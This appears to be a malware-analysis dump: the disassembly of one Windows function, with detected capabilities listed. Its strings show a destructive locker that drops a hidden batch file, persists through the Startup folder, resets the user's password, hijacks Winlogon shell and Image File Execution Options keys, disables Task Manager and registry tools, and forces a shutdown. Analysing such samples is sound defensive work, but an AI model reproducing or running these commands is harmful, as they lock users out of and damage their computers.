Function at 0x1400014e0
Capabilities:
Disable system features via registry on windows
Execute command
Persist via image file execution options registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push rbp
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rbp + 0x150], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.C:UsersAdministratorAppDataLocalTemp1.bat
lea rcx, [rsp + 0x30]
call fcn.1400040d0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.C:UsersAdministratorAppDataLocalTemp1.txt
lea rcx, [rbp + 0x40]
call fcn.1400040d0
nop
lea rdx, str._echo_off
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.date_1980_1_1__nul_2_1
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.copy___0___userprofile_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup___nul_2_1
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.net_user__username__1145141919810114514__nul_2_1
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKLMSoftwareMicrosoftWindows_NTCurrentVersionWinlogon___v_LegalNoticeCaption__t_REG_SZ__d__
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKLMSoftwareMicrosoftWindows_NTCurrentVersionWinlogon___v_LegalNoticeText__t_REG_SZ__d
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKLMSoftwareMicrosoftWindows_NTCurrentVersionWinlogon___v_shell__t_REG_SZ__d_regedit.exe__f
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies_system___v_DisableTaskMgr__t_reg_dword__d_1__f
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKEY_CURRENT_USER_softwareMicrosoftWindowsCurrentVersionPoliciesExplorer___v_NoClose__t_REG_DWORD__d_1__f
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKEY_CURRENT_USERSOFTWAReMicrosoftWindowsCurrentVersionPoliciesExplorer___v_StartMenuLogOff__t_REG_DWORD__d_1__f
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKEY_CURRENT_USERSOFTWAReMicrosoftWindowsCurrentVersionPoliciesExplorer___v_nodrives__t_REG_DWORD__d_60__f
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKEY_CURRENT_USERSOFTWAReMicrosoftWindowsCurrentVersionPoliciesExplorer___v_NoRun__t_REG_DWORD__d_0__f
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTcurrentVersionImage_File_EXecution_Optionsgpedit.msc___v_Debugger__t_REG_SZ__d_regedit.exe__f
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTcurrentVersionImage_File_EXecution_Optionsexplorer.exe___v_Debugger__t_REG_SZ__d_regedit.exe__f
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTcurrentVersionImage_File_EXecution_Options_taskmgr.exe___v_Debugger__t_REG_SZ__d_regedit.exe__f
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKLMSOFTWAREMicrosoftWindows_NTcurrentVersionImage_File_EXecution_Options_regedit.exe___v_Debugger__t_REG_SZ__d_taskmgr.exe__f
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v_DisaBleRegistryTools__t_reg_dword__d_1__f
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140008208]
lea rcx, [rsp + 0x30]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140008210]
lea rcx, [rbp + 0x40]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Your_PC_was_destroyed_by_me_
lea rcx, [rbp + 0x40]
call fcn.140004b90
mov rcx, rax
lea rdx, [0x140004d60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x38]
call fcn.140004960
test rax, rax
jne 0x140001807
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x48]
call fcn.140004960
test rax, rax
jne 0x140001831
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.start_C:UsersAdministratorAppDataLocalTemp1.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:UsersAdministratorAppDataLocalTemp1.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.attrib_h_C:UsersAdministratorAppDataLocalTemp1.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.attrib_h_C:UsersAdministratorAppDataLocalTemp1.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__s__t_60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x40]
call fcn.1400018a0
nop
lea rcx, [rsp + 0x30]
call fcn.1400018a0
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.140005b80
add rsp, 0x260
pop rbp
ret